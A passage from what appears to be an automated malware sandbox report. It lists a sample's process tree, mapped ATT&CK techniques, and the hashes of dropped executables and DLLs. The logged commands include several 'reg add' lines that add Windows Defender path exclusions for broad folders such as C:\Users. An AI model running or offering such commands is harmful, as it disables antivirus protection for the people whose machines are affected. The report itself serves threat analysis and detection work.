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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\Xa4P2b" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\Xa4P2b" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2328
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3040
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2892 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:2944
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3372
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2496 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3528
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C:\ProgramData\Z4IsWp68.exeC:\ProgramData\Z4IsWp68.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1476
-
C:\ProgramData\PwaK7mLi\sk1x6afR.exeC:\ProgramData\PwaK7mLi\sk1x6afR.exe1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:4252
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C:\Program Files (x86)\Ir1RZajV\S63dy9W.exe"C:\Program Files (x86)\Ir1RZajV\S63dy9W.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1756
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C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe"C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1772
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Screensaver
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1Clear Persistence
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\Ir1RZajV\XPSPLOG.dll
- Size 4.6MB
- SHA256 dddf498f0ba7960f740d3543117108281aa7bfce9561e0ab8cdcc66338329769
- MD5 b75eab3f8464ea408af0105972743eec
- SHA1 c47d59d603045a31a1174b5e3974bf4fa6482539
- SHA512 9ac7f37253bb688455f562bd109ab1872750c53574fc242488686f80e9fe4d37b2c31e12f693226c2effb3b4efb06492243706e1fd7e78d02f7830dab8b08262
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyb:BMWKfU+BcUTHCCCfqCiUffnb
- TLSH T108263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Ir1RZajV\image.png
- Size 5.0MB
- SHA256 933c3606faa31491f79a123fcfc4fb1887ecd9209e20b4e6286e8def97f1e25b
- MD5 17033c55ea38a376427bd0aee17dbca3
- SHA1 87f1a7922f73a86d111fe660ce38d22810b5fdd4
- SHA512 c839d40278553d9ef043d321f1e2dd027e9b6059d9aab4853255250afe6e260b26d2581344658b3ec6dc85bc022921fff30d6d1c63022770ac60e444d8e568f0
- SSDEEP 98304:HFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:cRIUjDgAk+jkn/IXhVaK
- TLSH T18B3633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll
- Size 4.6MB
- SHA256 cea0af432e7c46ab377b56351373b9d27b0d2bd786ce3df31126cc10e044ed1d
- MD5 decc7dce77e5fbd17467753ba0db6e05
- SHA1 5f689b68d57c2875f09b3afe0ebc5752d2b81c60
- SHA512 a13dfe68c8a03d735be4dbc5568b0566ecd47a5f33e9933579e877c0c1772488db8055229200f3bd78551645c382419c4009c75113a7829eaee7687bf265a820
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyc:BMWKfU+BcUTHCCCfqCiUffnc
- TLSH T144263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Xa4P2b\image.png
- Size 5.0MB
- SHA256 6dbc6b5aabbb0d66a91d773e2daf763d15e1da021682d62f8986c2fc83601948
- MD5 df437e7bd13a956cd4d06755c6e676a2
- SHA1 8e568d78fca591517e3005b61820b78c390dbd42
- SHA512 0ff609acc601d847bef9529a2d62828e54ea6afe8068e0509b1def670d6562eeed093659d9cb8daf007b377fce0c2ac487c2c96003ef999705d03159b45cb322
- SSDEEP 98304:0FYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:RRIUjDgAk+jkn/IXhVaK
- TLSH T1F13633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\Xa4P2b\thumbs.db
- Size 358KB
- SHA256 96f23ed21a497f29cb1155bb6e8eb6684bc0b3276b54560a968270c8d54907a8
- MD5 32155e9d05c7fe73f07a5a15418d9aa7
- SHA1 1d510d3be2c5bf4586721049f95f34cd717ad5fa
- SHA512 658307f7737be2c01bb5ab32399c7d689bded01acfd92764dd4412c16da83bb8ae515932de96caf57120e75f8ff2196b8d924a0116768285c4b3209b03a27a18
- SSDEEP 6144:xiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:A8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1E474F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\PwaK7mLi\sk1x6afR.dat
- Size 56KB
- SHA256 2f9ac6f257f55daee9e8f7fae58742b52985e75208c8e2b05670b2458babeca9
- MD5 d485a41858fbed6462786168a6ef7ca4
- SHA1 8e56cb2ac95f13cc183a40237dcd1e89e67450d1
- SHA512 947541cc5b693162924cd745fc1e10373b9052984c6aaafa0da7ce170c48ba6cd0ff12eed444eca09c8b5dc3801ecfc750d1d50c75a5c72453968551e1b129d0
- SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJY7:LsUL1PSkbvG2pkze2GY7
- TLSH T1F443020AD5F17B3ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\PwaK7mLi\sk1x6afR.exe
- Size 475KB
- SHA256 78a569a949a18055707f97ebcfcab1be488397f1cb7e164734dbe3b322e85042
- MD5 8fdb9f4ee6e9c8bbe9f15193b56008bd
- SHA1 4305d88671a9fd370c43f5c5511e24ab97233093
- SHA512 5b473731d5b6b0bdb7cb5ab9d0c1f1bbca32c82201f511bdfb426bddf947c728649028d197df1f036171477e958cbb6e2e3f8eadc3cc5e8acfd4d14e7a0547aa
- SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/5:gthTiP+ffCfB5Lf0F7Z1EDsV5
- TLSH T197A42322B76BD826EB0E083542A5DF7D4A7ABD02F889834301B97F5F7D363905D1DA09
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\PwaK7mLi\sk1x6afR.png
- Size 167KB
- SHA256 381210b3da2c6ae9af10cb64c9618a13de9089a40ee96d6b3c2b3ec12098bc83
- MD5 a8e2f09aa943149d55a4148e2c6cf561
- SHA1 2a17da1d436ea5d5d88faabcf0aad34deedec127
- SHA512 8e5add5a2215437cc74cf7bb7ce43ae5d9602bcafbe50bb4e83e362cdbd4902a6275d4d7b1bab70a6223aed7fc935cf723a69f9c70f9f6b7d4330cb8fa61b97a
- SSDEEP 3072:sxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:sH+KKo4dNK2d2kdXYon74mBV1X
- TLSH T18BF3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Z4IsWp68.exe
- Size 2.8MB
- SHA256 ef9ed7035325adbfc0c31f4db2d665c54a2692b3dd0cdcb3debc67053122429a
- MD5 f837bd07ad92fcf4f192c8421fae57e3
- SHA1 ab2b355bd89f35c691b4e712d6494fe6ed5de633
- SHA512 4f73762ca72a72e69bbe038d6b1d5d728660679dfd628e48260c11fb7b18b4db62c0ebd9b9fd0d8dfc259a98cb3154eb7d5753eb908a22b3343a4cf8ae7f3eb3
- SSDEEP 49152:ZMxc9EYuffdhu5OviynjUzXPIGEvVcV0Sxx/O/ndIC4nv4ajQQVWmDfvKEs+Tps:igu9hviynj8Ip+nxVEenv4iQQVkEy
- TLSH T1B1D523B49ECB11EADEC10974A703DBE73AB5199248D68C347AC13805B173FB7216E52B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
- Size 1KB
- SHA256 39ff0b6f140b2d1c12bdd9704b5ae64864ee458be64c6f351b60e75fa05fdecc
- MD5 7e509b95ea20dbd681e799dfb68c84a3
- SHA1 fe957028ed7249dccd4314f2eedea5ad56d14a99
- SHA512 a70f1a1f7b55a7d24c296bf14715d1082ec617da5079ee874036a7e6452c9ce7269517723551e632c8842baec9e2cf4daa84c9e5b5808890200b1e61e9980b8b
- TLSH T19621E95F9FB525E0BF813F1223C4C43F6DE66AC008BD081E617985A516103507F2654D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
- Size 1KB
- SHA256 3e036153b9019fa807a53cf0b3ad7270304e2dfacccf19cf30b02edddcca2273
- MD5 f89b6a3489c7340947062763b42fd603
- SHA1 2b9c1a33665574d9566e8207da96f901c9c075d8
- SHA512 ea311fdc492712283cf79e4fe95b3825eec352d1709f0d34001cf71440028070a81016253a6cb599b5fdc20b72a7470411f7869e95ab93751901df4f0af1e5e3
- TLSH T1EF21B987836A3122E793CD451BC9AF732CE6E2E570D80515F01FC3F52A103F79A06656
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
- Size 508B
- SHA256 26312a6f80e10c1101e248504f880a345a07b0718b7f2c945d340642e31c2d82
- MD5 e21133cf92c5283f5d8323f4c545d384
- SHA1 b15a47f830ea3c21913fcb28a4060ddb47098119
- SHA512 b5c1f8cf8a9929d3d6aeaf17cee4e08b500a8ba057ea88bdd81c6345569ca25379ecfbcfd7ac0cbf5456a3990a81e95fc2ca31de3030f8beec80631af71648bb
- TLSH T1BFF05C2C49FD413AF036EB3916FA2A25857BF7140105456936E4CB09BD15F157C2563E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
- Size 510B
- SHA256 291516dca76248e414dddf3eef1de4812cc691f4318dd7d43c6d9effdaab2b04
- MD5 17dc64b5cb5c6996ef86808d3b3a013b
- SHA1 3e8cfe56700d4ed470df94831bb9482a76efd87e
- SHA512 ca0fb408d442237bb768112f05a5ce5afe677310122cf02eef713392f7714407eab7f6f6109a0c09b7ab227d21ceb2a574771bba55717280ea4c62ebc7067bcf
- TLSH T10EF05C382DA5615CF136CB3851D617F1F52BB61374060AFE1D9F43481B15E016DC553E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_grdkknlj.ia5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\SSg21l\UxEnhance64.dll
- Size 3.1MB
- SHA256 a355a88efbd3fce9d5499cc263ef29c23337d73a6197033a3b40a921800d0dbb
- MD5 0eb4e224060908e8d1a1ab884f9b10c5
- SHA1 d010ecdb75b3658aa0d0b1625c8f60fff0024105
- SHA512 800193fdd1b88d290ff4a58cd3b49fa6ba1efc4b82e0d4c5a6e3893ec8a34fc3ab85426d89f69526fb87f2bdddd0f7e2f8961589c2d2f15f9ed55e7cc614b111
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+p:P9m29xx3Tiqt06ox6+z2rNNrKop
- TLSH T1B6E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\SSg21l\adoresd.dat
- Size 4.7MB
- SHA256 5b7568e0236db69d286bf32c4456edb19e8ba6d6a94c1d9a2d6b46be29b68162
- MD5 c5f63ff3bd9e550137299445b6c7c498
- SHA1 a5b2147db3123551b89c71530a558d178df55873
- SHA512 243bb6f6f9360efffcc349cfc61a847937ed2ccfed81ffcbdfd49e897b684d3ed2f53fec376a75e834f230f30e347d707c2cf46151a18d8c7270e508859f6b5d
- SSDEEP 98304:GKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:GKClqhi0Cv54K2IVS0VQg
- TLSH T1D13633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\SSg21l\msadox.tb
- Size 8KB
- SHA256 b68ad358ce618b217019ccf669f07ca3bb84289c1e17a7ac16c085e14ed876ec
- MD5 593824f16cd6cbcadbf29e8f6e77fc6a
- SHA1 24ea5e4f8fcddeec7873816e2c2dd9ac928007a7
- SHA512 f7d318f1b2b2bff1fe79cbdb414577a35098371b58ab753271bfbe1b5ecaf7b2ff1ecdf54e974ed6071ee59907b12d14cb778871910d867f4470dd7d6b9e22f7
- SSDEEP 192:eqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:esZqZOXQ3uqvR2Kfzp
- TLSH T1D3029E05D7A20DC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072ED2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\SSg21l\siY1UN.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512